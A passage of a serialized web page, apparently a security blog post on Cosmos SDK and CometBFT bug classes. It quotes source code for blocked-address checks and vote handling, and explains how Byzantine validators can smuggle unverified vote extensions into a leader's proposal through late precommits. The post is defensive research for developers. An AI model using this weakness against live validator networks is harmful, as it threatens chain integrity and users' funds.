%w\"",{"type":22,"tag":118,"props":84427,"children":84428},{"style":125},[84429],{"type":28,"value":231},{"type":22,"tag":118,"props":84431,"children":84432},{"style":204},[84433],{"type":28,"value":50360},{"type":22,"tag":118,"props":84435,"children":84436},{"style":125},[84437],{"type":28,"value":3665},{"type":22,"tag":118,"props":84439,"children":84440},{"class":120,"line":82576},[84441],{"type":22,"tag":118,"props":84442,"children":84443},{"style":125},[84444],{"type":28,"value":1254},{"type":22,"tag":118,"props":84446,"children":84447},{"class":120,"line":82584},[84448],{"type":22,"tag":118,"props":84449,"children":84450},{"style":210},[84451],{"type":28,"value":22302},{"type":22,"tag":118,"props":84453,"children":84454},{"class":120,"line":82624},[84455],{"type":22,"tag":118,"props":84456,"children":84457},{"style":125},[84458],{"type":28,"value":481},{"type":22,"tag":107,"props":84460,"children":84462},{"code":84461,"language":77760,"meta":7,"className":77761,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[84463],{"type":22,"tag":114,"props":84464,"children":84465},{"__ignoreMap":7},[84466,84498,84577,84592,84600,84631,84689,84696,84703],{"type":22,"tag":118,"props":84467,"children":84468},{"class":120,"line":121},[84469,84473,84477,84481,84486,84490,84494],{"type":22,"tag":118,"props":84470,"children":84471},{"style":146},[84472],{"type":28,"value":77896},{"type":22,"tag":118,"props":84474,"children":84475},{"style":125},[84476],{"type":28,"value":842},{"type":22,"tag":118,"props":84478,"children":84479},{"style":204},[84480],{"type":28,"value":82724},{"type":22,"tag":118,"props":84482,"children":84483},{"style":131},[84484],{"type":28,"value":84485},"BaseKeeper",{"type":22,"tag":118,"props":84487,"children":84488},{"style":125},[84489],{"type":28,"value":588},{"type":22,"tag":118,"props":84491,"children":84492},{"style":532},[84493],{"type":28,"value":83239},{"type":22,"tag":118,"props":84495,"children":84496},{"style":125},[84497],{"type":28,"value":696},{"type":22,"tag":118,"props":84499,"children":84500},{"class":120,"line":142},[84501,84505,84509,84513,84517,84521,84526,84530,84534,84539,84543,84547,84551,84555,84560,84564,84568,84573],{"type":22,"tag":118,"props":84502,"children":84503},{"style":204},[84504],{"type":28,"value":639},{"type":22,"tag":118,"props":84506,"children":84507},{"style":131},[84508],{"type":28,"value":77936},{"type":22,"tag":118,"props":84510,"children":84511},{"style":125},[84512],{"type":28,"value":292},{"type":22,"tag":118,"props":84514,"children":84515},{"style":131},[84516],{"type":28,"value":77945},{"type":22,"tag":118,"props":84518,"children":84519},{"style":125},[84520],{"type":28,"value":231},{"type":22,"tag":118,"props":84522,"children":84523},{"style":204},[84524],{"type":28,"value":84525},"senderModule",{"type":22,"tag":118,"props":84527,"children":84528},{"style":131},[84529],{"type":28,"value":37970},{"type":22,"tag":118,"props":84531,"children":84532},{"style":125},[84533],{"type":28,"value":231},{"type":22,"tag":118,"props":84535,"children":84536},{"style":204},[84537],{"type":28,"value":84538},"recipientAddr",{"type":22,"tag":118,"props":84540,"children":84541},{"style":131},[84542],{"type":28,"value":80237},{"type":22,"tag":118,"props":84544,"children":84545},{"style":125},[84546],{"type":28,"value":292},{"type":22,"tag":118,"props":84548,"children":84549},{"style":131},[84550],{"type":28,"value":84224},{"type":22,"tag":118,"props":84552,"children":84553},{"style":125},[84554],{"type":28,"value":231},{"type":22,"tag":118,"props":84556,"children":84557},{"style":204},[84558],{"type":28,"value":84559},"amt",{"type":22,"tag":118,"props":84561,"children":84562},{"style":131},[84563],{"type":28,"value":80237},{"type":22,"tag":118,"props":84565,"children":84566},{"style":125},[84567],{"type":28,"value":292},{"type":22,"tag":118,"props":84569,"children":84570},{"style":131},[84571],{"type":28,"value":84572},"Coins",{"type":22,"tag":118,"props":84574,"children":84575},{"style":125},[84576],{"type":28,"value":782},{"type":22,"tag":118,"props":84578,"children":84579},{"class":120,"line":177},[84580,84584,84588],{"type":22,"tag":118,"props":84581,"children":84582},{"style":125},[84583],{"type":28,"value":588},{"type":22,"tag":118,"props":84585,"children":84586},{"style":131},[84587],{"type":28,"value":16841},{"type":22,"tag":118,"props":84589,"children":84590},{"style":125},[84591],{"type":28,"value":1474},{"type":22,"tag":118,"props":84593,"children":84594},{"class":120,"line":195},[84595],{"type":22,"tag":118,"props":84596,"children":84597},{"style":210},[84598],{"type":28,"value":84599}," ...\n",{"type":22,"tag":118,"props":84601,"children":84602},{"class":120,"line":244},[84603,84607,84611,84615,84619,84623,84627],{"type":22,"tag":118,"props":84604,"children":84605},{"style":1480},[84606],{"type":28,"value":17755},{"type":22,"tag":118,"props":84608,"children":84609},{"style":204},[84610],{"type":28,"value":82852},{"type":22,"tag":118,"props":84612,"children":84613},{"style":125},[84614],{"type":28,"value":292},{"type":22,"tag":118,"props":84616,"children":84617},{"style":532},[84618],{"type":28,"value":83255},{"type":22,"tag":118,"props":84620,"children":84621},{"style":125},[84622],{"type":28,"value":540},{"type":22,"tag":118,"props":84624,"children":84625},{"style":204},[84626],{"type":28,"value":84538},{"type":22,"tag":118,"props":84628,"children":84629},{"style":125},[84630],{"type":28,"value":16783},{"type":22,"tag":118,"props":84632,"children":84633},{"class":120,"line":253},[84634,84638,84643,84647,84651,84655,84659,84663,84668,84672,84677,84681,84685],{"type":22,"tag":118,"props":84635,"children":84636},{"style":1480},[84637],{"type":28,"value":41140},{"type":22,"tag":118,"props":84639,"children":84640},{"style":204},[84641],{"type":28,"value":84642}," errorsmod",{"type":22,"tag":118,"props":84644,"children":84645},{"style":125},[84646],{"type":28,"value":292},{"type":22,"tag":118,"props":84648,"children":84649},{"style":532},[84650],{"type":28,"value":82506},{"type":22,"tag":118,"props":84652,"children":84653},{"style":125},[84654],{"type":28,"value":540},{"type":22,"tag":118,"props":84656,"children":84657},{"style":204},[84658],{"type":28,"value":82168},{"type":22,"tag":118,"props":84660,"children":84661},{"style":125},[84662],{"type":28,"value":292},{"type":22,"tag":118,"props":84664,"children":84665},{"style":204},[84666],{"type":28,"value":84667},"ErrUnauthorized",{"type":22,"tag":118,"props":84669,"children":84670},{"style":125},[84671],{"type":28,"value":231},{"type":22,"tag":118,"props":84673,"children":84674},{"style":1866},[84675],{"type":28,"value":84676},"\"%s is not allowed to receive funds\"",{"type":22,"tag":118,"props":84678,"children":84679},{"style":125},[84680],{"type":28,"value":231},{"type":22,"tag":118,"props":84682,"children":84683},{"style":204},[84684],{"type":28,"value":84538},{"type":22,"tag":118,"props":84686,"children":84687},{"style":125},[84688],{"type":28,"value":3665},{"type":22,"tag":118,"props":84690,"children":84691},{"class":120,"line":263},[84692],{"type":22,"tag":118,"props":84693,"children":84694},{"style":125},[84695],{"type":28,"value":11594},{"type":22,"tag":118,"props":84697,"children":84698},{"class":120,"line":318},[84699],{"type":22,"tag":118,"props":84700,"children":84701},{"style":210},[84702],{"type":28,"value":84599},{"type":22,"tag":118,"props":84704,"children":84705},{"class":120,"line":351},[84706],{"type":22,"tag":118,"props":84707,"children":84708},{"style":125},[84709],{"type":28,"value":481},{"type":22,"tag":31,"props":84711,"children":84712},{},[84713,84715,84722],{"type":28,"value":84714},"This shows even well-known bug classes still resurface from time to time due to unforeseen invariant violations. Additional examples include ",{"type":22,"tag":42,"props":84716,"children":84719},{"href":84717,"rel":84718},"https://hackerone.com/reports/3018307",[46],[84720],{"type":28,"value":84721},"improper decimal handling in the group module",{"type":28,"value":292},{"type":22,"tag":23,"props":84724,"children":84726},{"id":84725},"same-same-but-different",[84727],{"type":28,"value":84728},"Same, Same... But Different",{"type":22,"tag":31,"props":84730,"children":84731},{},[84732,84734,84740,84741,84747,84748,84754,84755,84761],{"type":28,"value":84733},"Cosmos exposes several consensus-level interfaces, such as ",{"type":22,"tag":114,"props":84735,"children":84737},{"className":84736},[],[84738],{"type":28,"value":84739},"PrepareProposal",{"type":28,"value":231},{"type":22,"tag":114,"props":84742,"children":84744},{"className":84743},[],[84745],{"type":28,"value":84746},"ProcessProposal",{"type":28,"value":231},{"type":22,"tag":114,"props":84749,"children":84751},{"className":84750},[],[84752],{"type":28,"value":84753},"ExtendVote",{"type":28,"value":8497},{"type":22,"tag":114,"props":84756,"children":84758},{"className":84757},[],[84759],{"type":28,"value":84760},"VerifyVoteExtension",{"type":28,"value":84762},". These ABCI methods allow developers to customize how blocks are constructed, as well as inject supplementary data into each block.",{"type":22,"tag":31,"props":84764,"children":84765},{},[84766],{"type":28,"value":84767},"Two of the best-known attack surfaces are",{"type":22,"tag":4029,"props":84769,"children":84770},{},[84771,84800],{"type":22,"tag":68,"props":84772,"children":84773},{},[84774,84779,84780,84785,84787,84792,84793,84798],{"type":22,"tag":114,"props":84775,"children":84777},{"className":84776},[],[84778],{"type":28,"value":84739},{"type":28,"value":842},{"type":22,"tag":114,"props":84781,"children":84783},{"className":84782},[],[84784],{"type":28,"value":84753},{"type":28,"value":84786},") outputs being rejected due to ",{"type":22,"tag":114,"props":84788,"children":84790},{"className":84789},[],[84791],{"type":28,"value":84746},{"type":28,"value":842},{"type":22,"tag":114,"props":84794,"children":84796},{"className":84795},[],[84797],{"type":28,"value":84760},{"type":28,"value":84799},") over-validating, resulting in liveness failures.",{"type":22,"tag":68,"props":84801,"children":84802},{},[84803,84805,84810,84811,84816,84818,84823,84824,84829],{"type":28,"value":84804},"Malicious proposals and vote extensions not created through the ",{"type":22,"tag":114,"props":84806,"children":84808},{"className":84807},[],[84809],{"type":28,"value":84739},{"type":28,"value":842},{"type":22,"tag":114,"props":84812,"children":84814},{"className":84813},[],[84815],{"type":28,"value":84753},{"type":28,"value":84817},") are accepted due to ",{"type":22,"tag":114,"props":84819,"children":84821},{"className":84820},[],[84822],{"type":28,"value":84746},{"type":28,"value":842},{"type":22,"tag":114,"props":84825,"children":84827},{"className":84826},[],[84828],{"type":28,"value":84760},{"type":28,"value":84830},") under-validating.",{"type":22,"tag":31,"props":84832,"children":84833},{},[84834],{"type":28,"value":84835},"In essence, any difference in pairs of handlers will likely lead to security issues.",{"type":22,"tag":31,"props":84837,"children":84838},{},[84839,84841,84847,84849,84854],{"type":28,"value":84840},"There are also a few lesser known variants of these issues. One instance is the validation of ",{"type":22,"tag":114,"props":84842,"children":84844},{"className":84843},[],[84845],{"type":28,"value":84846},"VoteExtensions",{"type":28,"value":84848}," within ",{"type":22,"tag":114,"props":84850,"children":84852},{"className":84851},[],[84853],{"type":28,"value":84739},{"type":28,"value":84855},". To provide context, we start with a primer on the CometBTF consensus and vote extensions.",{"type":22,"tag":31,"props":84857,"children":84858},{},[84859,84861,84866,84868,84873],{"type":28,"value":84860},"Consensus starts with a leader creating a proposal and then broadcasting it to each validator. Validators then proceed to vote on whether or not to accept the proposal. During the voting phase, ",{"type":22,"tag":114,"props":84862,"children":84864},{"className":84863},[],[84865],{"type":28,"value":84753},{"type":28,"value":84867}," is called to attach additional data to the votes. Once a validator collects enough valid votes that pass ",{"type":22,"tag":114,"props":84869,"children":84871},{"className":84870},[],[84872],{"type":28,"value":84760},{"type":28,"value":84874},", a proposal is considered accepted and can be committed. After committing the proposal, a new leader starts to create the next proposal, bringing us back to the point where we started.",{"type":22,"tag":31,"props":84876,"children":84877},{},[84878,84880,84885],{"type":28,"value":84879},"So, where are the attached vote extension data used? It turns out a leader should include the vote extensions of the previous consensus round in its proposal. It might be tempting to conclude that all vote extensions an honest leader accepted have passed the ",{"type":22,"tag":114,"props":84881,"children":84883},{"className":84882},[],[84884],{"type":28,"value":84760},{"type":28,"value":84886}," check and are therefore valid. Thus, we can directly inject all vote extensions into our proposal.",{"type":22,"tag":31,"props":84888,"children":84889},{},[84890,84892,84897,84899,84905],{"type":28,"value":84891},"Unfortunately, CometBTF directly accepts late precommits without passing them through ",{"type":22,"tag":114,"props":84893,"children":84895},{"className":84894},[],[84896],{"type":28,"value":84760},{"type":28,"value":84898},". This exposes a time window where Byzantine validators can smuggle malicious vote into the next leader's cache, luring the leader into including invalid vote extensions into its ",{"type":22,"tag":114,"props":84900,"children":84902},{"className":84901},[],[84903],{"type":28,"value":84904},"Proposal",{"type":28,"value":292},{"type":22,"tag":107,"props":84907,"children":84909},{"code":84908,"language":77760,"meta":7,"className":77761,"style":7},"func (cs *State) addVote(vote *types.Vote, peerID p2p.ID) (added bool, err error) {\n    ...\n\n    // A precommit for the previous height?\n    // These come in while we wait timeoutCommit\n    if vote.Height+1 == cs.Height && vote.Type == types.PrecommitType {\n        ...\n        // Late precommits are not checked by VerifyVoteExtension\n        added, err = cs.LastCommit.AddVote(vote)\n        ...\n        return added, err\n    }\n    extEnabled := cs.state.ConsensusParams.Feature.VoteExtensionsEnabled(vote.Height)\n    if extEnabled {\n        ...\n        if vote.Type == types.PrecommitType && !vote.BlockID.IsNil() &&\n            !bytes.Equal(vote.ValidatorAddress, myAddr) { // Skip the VerifyVoteExtension call if the vote was issued by this validator.\n            ...\n            err := cs.blockExec.VerifyVoteExtension(context.TODO(), vote)\n            ...\n        }\n    } else if {\n        ...\n    }\n    ...\n}\n",[84910],{"type":22,"tag":114,"props":84911,"children":84912},{"__ignoreMap":7},[84913,85025,85032,85039,85047,85055,85139,85146,85154,85208,85215,85236,85243,85315,85331,85338,85412,85468,85475,85537,85544,85551,85570,85577,85584,85591],{"type":22,"tag":118,"props":84914,"children":84915},{"class":120,"line":121},[84916,84920,84924,84929,84933,84938,84942,84947,84951,84956,84960,84964,84968,84973,84977,84982,84987,84991,84996,85000,85005,85009,85013,85017,85021],{"type":22,"tag":118,"props":84917,"children":84918},{"style":146},[84919],{"type":28,"value":77896},{"type":22,"tag":118,"props":84921,"children":84922},{"style":125},[84923],{"type":28,"value":842},{"type":22,"tag":118,"props":84925,"children":84926},{"style":204},[84927],{"type":28,"value":84928},"cs ",{"type":22,"tag":118,"props":84930,"children":84931},{"style":210},[84932],{"type":28,"value":671},{"type":22,"tag":118,"props":84934,"children":84935},{"style":131},[84936],{"type":28,"value":84937},"State",{"type":22,"tag":118,"props":84939,"children":84940},{"style":125},[84941],{"type":28,"value":588},{"type":22,"tag":118,"props":84943,"children":84944},{"style":532},[84945],{"type":28,"value":84946},"addVote",{"type":22,"tag":118,"props":84948,"children":84949},{"style":125},[84950],{"type":28,"value":540},{"type":22,"tag":118,"props":84952,"children":84953},{"style":204},[84954],{"type":28,"value":84955},"vote",{"type":22,"tag":118,"props":84957,"children":84958},{"style":210},[84959],{"type":28,"value":11815},{"type":22,"tag":118,"props":84961,"children":84962},{"style":131},[84963],{"type":28,"value":7769},{"type":22,"tag":118,"props":84965,"children":84966},{"style":125},[84967],{"type":28,"value":292},{"type":22,"tag":118,"props":84969,"children":84970},{"style":131},[84971],{"type":28,"value":84972},"Vote",{"type":22,"tag":118,"props":84974,"children":84975},{"style":125},[84976],{"type":28,"value":231},{"type":22,"tag":118,"props":84978,"children":84979},{"style":204},[84980],{"type":28,"value":84981},"peerID",{"type":22,"tag":118,"props":84983,"children":84984},{"style":131},[84985],{"type":28,"value":84986}," p2p",{"type":22,"tag":118,"props":84988,"children":84989},{"style":125},[84990],{"type":28,"value":292},{"type":22,"tag":118,"props":84992,"children":84993},{"style":131},[84994],{"type":28,"value":84995},"ID",{"type":22,"tag":118,"props":84997,"children":84998},{"style":125},[84999],{"type":28,"value":77978},{"type":22,"tag":118,"props":85001,"children":85002},{"style":204},[85003],{"type":28,"value":85004},"added",{"type":22,"tag":118,"props":85006,"children":85007},{"style":131},[85008],{"type":28,"value":1469},{"type":22,"tag":118,"props":85010,"children":85011},{"style":125},[85012],{"type":28,"value":231},{"type":22,"tag":118,"props":85014,"children":85015},{"style":204},[85016],{"type":28,"value":50360},{"type":22,"tag":118,"props":85018,"children":85019},{"style":131},[85020],{"type":28,"value":16854},{"type":22,"tag":118,"props":85022,"children":85023},{"style":125},[85024],{"type":28,"value":16783},{"type":22,"tag":118,"props":85026,"children":85027},{"class":120,"line":142},[85028],{"type":22,"tag":118,"props":85029,"children":85030},{"style":210},[85031],{"type":28,"value":22302},{"type":22,"tag":118,"props":85033,"children":85034},{"class":120,"line":177},[85035],{"type":22,"tag":118,"props":85036,"children":85037},{"emptyLinePlaceholder":15},[85038],{"type":28,"value":250},{"type":22,"tag":118,"props":85040,"children":85041},{"class":120,"line":195},[85042],{"type":22,"tag":118,"props":85043,"children":85044},{"style":257},[85045],{"type":28,"value":85046},"    // A precommit for the previous height?\n",{"type":22,"tag":118,"props":85048,"children":85049},{"class":120,"line":244},[85050],{"type":22,"tag":118,"props":85051,"children":85052},{"style":257},[85053],{"type":28,"value":85054},"    // These come in while we wait timeoutCommit\n",{"type":22,"tag":118,"props":85056,"children":85057},{"class":120,"line":253},[85058,85062,85067,85071,85076,85080,85084,85088,85093,85097,85101,85105,85109,85113,85118,85122,85126,85130,85135],{"type":22,"tag":118,"props":85059,"children":85060},{"style":1480},[85061],{"type":28,"value":2159},{"type":22,"tag":118,"props":85063,"children":85064},{"style":204},[85065],{"type":28,"value":85066}," vote",{"type":22,"tag":118,"props":85068,"children":85069},{"style":125},[85070],{"type":28,"value":292},{"type":22,"tag":118,"props":85072,"children":85073},{"style":204},[85074],{"type":28,"value":85075},"Height",{"type":22,"tag":118,"props":85077,"children":85078},{"style":210},[85079],{"type":28,"value":3220},{"type":22,"tag":118,"props":85081,"children":85082},{"style":674},[85083],{"type":28,"value":6026},{"type":22,"tag":118,"props":85085,"children":85086},{"style":210},[85087],{"type":28,"value":1780},{"type":22,"tag":118,"props":85089,"children":85090},{"style":204},[85091],{"type":28,"value":85092}," cs",{"type":22,"tag":118,"props":85094,"children":85095},{"style":125},[85096],{"type":28,"value":292},{"type":22,"tag":118,"props":85098,"children":85099},{"style":204},[85100],{"type":28,"value":85075},{"type":22,"tag":118,"props":85102,"children":85103},{"style":210},[85104],{"type":28,"value":1789},{"type":22,"tag":118,"props":85106,"children":85107},{"style":204},[85108],{"type":28,"value":85066},{"type":22,"tag":118,"props":85110,"children":85111},{"style":125},[85112],{"type":28,"value":292},{"type":22,"tag":118,"props":85114,"children":85115},{"style":204},[85116],{"type":28,"value":85117},"Type",{"type":22,"tag":118,"props":85119,"children":85120},{"style":210},[85121],{"type":28,"value":1780},{"type":22,"tag":118,"props":85123,"children":85124},{"style":204},[85125],{"type":28,"value":79771},{"type":22,"tag":118,"props":85127,"children":85128},{"style":125},[85129],{"type":28,"value":292},{"type":22,"tag":118,"props":85131,"children":85132},{"style":204},[85133],{"type":28,"value":85134},"PrecommitType",{"type":22,"tag":118,"props":85136,"children":85137},{"style":125},[85138],{"type":28,"value":1474},{"type":22,"tag":118,"props":85140,"children":85141},{"class":120,"line":263},[85142],{"type":22,"tag":118,"props":85143,"children":85144},{"style":210},[85145],{"type":28,"value":83438},{"type":22,"tag":118,"props":85147,"children":85148},{"class":120,"line":318},[85149],{"type":22,"tag":118,"props":85150,"children":85151},{"style":257},[85152],{"type":28,"value":85153},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":22,"tag":118,"props":85155,"children":85156},{"class":120,"line":351},[85157,85162,85166,85170,85174,85178,85182,85187,85191,85196,85200,85204],{"type":22,"tag":118,"props":85158,"children":85159},{"style":204},[85160],{"type":28,"value":85161},"        added",{"type":22,"tag":118,"props":85163,"children":85164},{"style":125},[85165],{"type":28,"value":231},{"type":22,"tag":118,"props":85167,"children":85168},{"style":204},[85169],{"type":28,"value":50360},{"type":22,"tag":118,"props":85171,"children":85172},{"style":210},[85173],{"type":28,"value":837},{"type":22,"tag":118,"props":85175,"children":85176},{"style":204},[85177],{"type":28,"value":85092},{"type":22,"tag":118,"props":85179,"children":85180},{"style":125},[85181],{"type":28,"value":292},{"type":22,"tag":118,"props":85183,"children":85184},{"style":204},[85185],{"type":28,"value":85186},"LastCommit",{"type":22,"tag":118,"props":85188,"children":85189},{"style":125},[85190],{"type":28,"value":292},{"type":22,"tag":118,"props":85192,"children":85193},{"style":532},[85194],{"type":28,"value":85195},"AddVote",{"type":22,"tag":118,"props":85197,"children":85198},{"style":125},[85199],{"type":28,"value":540},{"type":22,"tag":118,"props":85201,"children":85202},{"style":204},[85203],{"type":28,"value":84955},{"type":22,"tag":118,"props":85205,"children":85206},{"style":125},[85207],{"type":28,"value":3665},{"type":22,"tag":118,"props":85209,"children":85210},{"class":120,"line":359},[85211],{"type":22,"tag":118,"props":85212,"children":85213},{"style":210},[85214],{"type":28,"value":83438},{"type":22,"tag":118,"props":85216,"children":85217},{"class":120,"line":368},[85218,85222,85227,85231],{"type":22,"tag":118,"props":85219,"children":85220},{"style":1480},[85221],{"type":28,"value":2223},{"type":22,"tag":118,"props":85223,"children":85224},{"style":204},[85225],{"type":28,"value":85226}," added",{"type":22,"tag":118,"props":85228,"children":85229},{"style":125},[85230],{"type":28,"value":231},{"type":22,"tag":118,"props":85232,"children":85233},{"style":204},[85234],{"type":28,"value":85235},"err\n",{"type":22,"tag":118,"props":85237,"children":85238},{"class":120,"line":384},[85239],{"type":22,"tag":118,"props":85240,"children":85241},{"style":125},[85242],{"type":28,"value":1254},{"type":22,"tag":118,"props":85244,"children":85245},{"class":120,"line":417},[85246,85251,85255,85259,85263,85268,85272,85277,85281,85286,85290,85295,85299,85303,85307,85311],{"type":22,"tag":118,"props":85247,"children":85248},{"style":204},[85249],{"type":28,"value":85250},"    extEnabled",{"type":22,"tag":118,"props":85252,"children":85253},{"style":210},[85254],{"type":28,"value":78012},{"type":22,"tag":118,"props":85256,"children":85257},{"style":204},[85258],{"type":28,"value":85092},{"type":22,"tag":118,"props":85260,"children":85261},{"style":125},[85262],{"type":28,"value":292},{"type":22,"tag":118,"props":85264,"children":85265},{"style":204},[85266],{"type":28,"value":85267},"state",{"type":22,"tag":118,"props":85269,"children":85270},{"style":125},[85271],{"type":28,"value":292},{"type":22,"tag":118,"props":85273,"children":85274},{"style":204},[85275],{"type":28,"value":85276},"ConsensusParams",{"type":22,"tag":118,"props":85278,"children":85279},{"style":125},[85280],{"type":28,"value":292},{"type":22,"tag":118,"props":85282,"children":85283},{"style":204},[85284],{"type":28,"value":85285},"Feature",{"type":22,"tag":118,"props":85287,"children":85288},{"style":125},[85289],{"type":28,"value":292},{"type":22,"tag":118,"props":85291,"children":85292},{"style":532},[85293],{"type":28,"value":85294},"VoteExtensionsEnabled",{"type":22,"tag":118,"props":85296,"children":85297},{"style":125},[85298],{"type":28,"value":540},{"type":22,"tag":118,"props":85300,"children":85301},{"style":204},[85302],{"type":28,"value":84955},{"type":22,"tag":118,"props":85304,"children":85305},{"style":125},[85306],{"type":28,"value":292},{"type":22,"tag":118,"props":85308,"children":85309},{"style":204},[85310],{"type":28,"value":85075},{"type":22,"tag":118,"props":85312,"children":85313},{"style":125},[85314],{"type":28,"value":3665},{"type":22,"tag":118,"props":85316,"children":85317},{"class":120,"line":425},[85318,85322,85327],{"type":22,"tag":118,"props":85319,"children":85320},{"style":1480},[85321],{"type":28,"value":2159},{"type":22,"tag":118,"props":85323,"children":85324},{"style":204},[85325],{"type":28,"value":85326}," extEnabled",{"type":22,"tag":118,"props":85328,"children":85329},{"style":125},[85330],{"type":28,"value":1474},{"type":22,"tag":118,"props":85332,"children":85333},{"class":120,"line":441},[85334],{"type":22,"tag":118,"props":85335,"children":85336},{"style":210},[85337],{"type":28,"value":83438},{"type":22,"tag":118,"props":85339,"children":85340},{"class":120,"line":475},[85341,85345,85349,85353,85357,85361,85365,85369,85373,85377,85381,85385,85389,85394,85398,85403,85407],{"type":22,"tag":118,"props":85342,"children":85343},{"style":1480},[85344],{"type":28,"value":5293},{"type":22,"tag":118,"props":85346,"children":85347},{"style":204},[85348],{"type":28,"value":85066},{"type":22,"tag":118,"props":85350,"children":85351},{"style":125},[85352],{"type":28,"value":292},{"type":22,"tag":118,"props":85354,"children":85355},{"style":204},[85356],{"type":28,"value":85117},{"type":22,"tag":118,"props":85358,"children":85359},{"style":210},[85360],{"type":28,"value":1780},{"type":22,"tag":118,"props":85362,"children":85363},{"style":204},[85364],{"type":28,"value":79771},{"type":22,"tag":118,"props":85366,"children":85367},{"style":125},[85368],{"type":28,"value":292},{"type":22,"tag":118,"props":85370,"children":85371},{"style":204},[85372],{"type":28,"value":85134},{"type":22,"tag":118,"props":85374,"children":85375},{"style":210},[85376],{"type":28,"value":1789},{"type":22,"tag":118,"props":85378,"children":85379},{"style":210},[85380],{"type":28,"value":2164},{"type":22,"tag":118,"props":85382,"children":85383},{"style":204},[85384],{"type":28,"value":84955},{"type":22,"tag":118,"props":85386,"children":85387},{"style":125},[85388],{"type":28,"value":292},{"type":22,"tag":118,"props":85390,"children":85391},{"style":204},[85392],{"type":28,"value":85393},"BlockID",{"type":22,"tag":118,"props":85395,"children":85396},{"style":125},[85397],{"type":28,"value":292},{"type":22,"tag":118,"props":85399,"children":85400},{"style":532},[85401],{"type":28,"value":85402},"IsNil",{"type":22,"tag":118,"props":85404,"children":85405},{"style":125},[85406],{"type":28,"value":2182},{"type":22,"tag":118,"props":85408,"children":85409},{"style":210},[85410],{"type":28,"value":85411},"&&\n",{"type":22,"tag":118,"props":85413,"children":85414},{"class":120,"line":484},[85415,85420,85425,85429,85433,85437,85441,85445,85450,85454,85459,85463],{"type":22,"tag":118,"props":85416,"children":85417},{"style":210},[85418],{"type":28,"value":85419},"            !",{"type":22,"tag":118,"props":85421,"children":85422},{"style":204},[85423],{"type":28,"value":85424},"bytes",{"type":22,"tag":118,"props":85426,"children":85427},{"style":125},[85428],{"type":28,"value":292},{"type":22,"tag":118,"props":85430,"children":85431},{"style":532},[85432],{"type":28,"value":83894},{"type":22,"tag":118,"props":85434,"children":85435},{"style":125},[85436],{"type":28,"value":540},{"type":22,"tag":118,"props":85438,"children":85439},{"style":204},[85440],{"type":28,"value":84955},{"type":22,"tag":118,"props":85442,"children":85443},{"style":125},[85444],{"type":28,"value":292},{"type":22,"tag":118,"props":85446,"children":85447},{"style":204},[85448],{"type":28,"value":85449},"ValidatorAddress",{"type":22,"tag":118,"props":85451,"children":85452},{"style":125},[85453],{"type":28,"value":231},{"type":22,"tag":118,"props":85455,"children":85456},{"style":204},[85457],{"type":28,"value":85458},"myAddr",{"type":22,"tag":118,"props":85460,"children":85461},{"style":125},[85462],{"type":28,"value":25934},{"type":22,"tag":118,"props":85464,"children":85465},{"style":257},[85466],{"type":28,"value":85467},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":22,"tag":118,"props":85469,"children":85470},{"class":120,"line":492},[85471],{"type":22,"tag":118,"props":85472,"children":85473},{"style":210},[85474],{"type":28,"value":84114},{"type":22,"tag":118,"props":85476,"children":85477},{"class":120,"line":501},[85478,85482,85486,85490,85494,85499,85503,85507,85511,85516,85520,85525,85529,85533],{"type":22,"tag":118,"props":85479,"children":85480},{"style":204},[85481],{"type":28,"value":83932},{"type":22,"tag":118,"props":85483,"children":85484},{"style":210},[85485],{"type":28,"value":78012},{"type":22,"tag":118,"props":85487,"children":85488},{"style":204},[85489],{"type":28,"value":85092},{"type":22,"tag":118,"props":85491,"children":85492},{"style":125},[85493],{"type":28,"value":292},{"type":22,"tag":118,"props":85495,"children":85496},{"style":204},[85497],{"type":28,"value":85498},"blockExec",{"type":22,"tag":118,"props":85500,"children":85501},{"style":125},[85502],{"type":28,"value":292},{"type":22,"tag":118,"props":85504,"children":85505},{"style":532},[85506],{"type":28,"value":84760},{"type":22,"tag":118,"props":85508,"children":85509},{"style":125},[85510],{"type":28,"value":540},{"type":22,"tag":118,"props":85512,"children":85513},{"style":204},[85514],{"type":28,"value":85515},"context",{"type":22,"tag":118,"props":85517,"children":85518},{"style":125},[85519],{"type":28,"value":292},{"type":22,"tag":118,"props":85521,"children":85522},{"style":532},[85523],{"type":28,"value":85524},"TODO",{"type":22,"tag":118,"props":85526,"children":85527},{"style":125},[85528],{"type":28,"value":20341},{"type":22,"tag":118,"props":85530,"children":85531},{"style":204},[85532],{"type":28,"value":84955},{"type":22,"tag":118,"props":85534,"children":85535},{"style":125},[85536],{"type":28,"value":3665},{"type":22,"tag":118,"props":85538,"children":85539},{"class":120,"line":519},[85540],{"type":22,"tag":118,"props":85541,"children":85542},{"style":210},[85543],{"type":28,"value":84114},{"type":22,"tag":118,"props":85545,"children":85546},{"class":120,"line":606},[85547],{"type":22,"tag":118,"props":85548,"children":85549},{"style":125},[85550],{"type":28,"value":1835},{"type":22,"tag":118,"props":85552,"children":85553},{"class":120,"line":615},[85554,85558,85562,85566],{"type":22,"tag":118,"props":85555,"children":85556},{"style":125},[85557],{"type":28,"value":17746},{"type":22,"tag":118,"props":85559,"children":85560},{"style":1480},[85561],{"type":28,"value":5335},{"type":22,"tag":118,"props":85563,"children":85564},{"style":1480},[85565],{"type":28,"value":17755},{"type":22,"tag":118,"props":85567,"children":85568},{"style":125},[85569],{"type":28,"value":1474},{"type":22,"tag":118,"props":85571,"children":85572},{"class":120,"line":685},[85573],{"type":22,"tag":118,"props":85574,"children":85575},{"style":210},[85576],{"type":28,"value":83438},{"type":22,"tag":118,"props":85578,"children":85579},{"class":120,"line":699},[85580],{"type":22,"tag":118,"props":85581,"children":85582},{"style":125},[85583],{"type":28,"value":1254},{"type":22,"tag":118,"props":85585,"children":85586},{"class":120,"line":729},[85587],{"type":22,"tag":118,"props":85588,"children":85589},{"style":210},[85590],{"type":28,"value":22302},{"type":22,"tag":118,"props":85592,"children":85593},{"class":120,"line":771},[85594],{"type":22,"tag":118,"props":85595,"children":85596},{"style":125},[85597],{"type":28,"value":481},{"type":22,"tag":31,"props":85599,"children":85600},{},[85601],{"type":28,"value":85602},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these 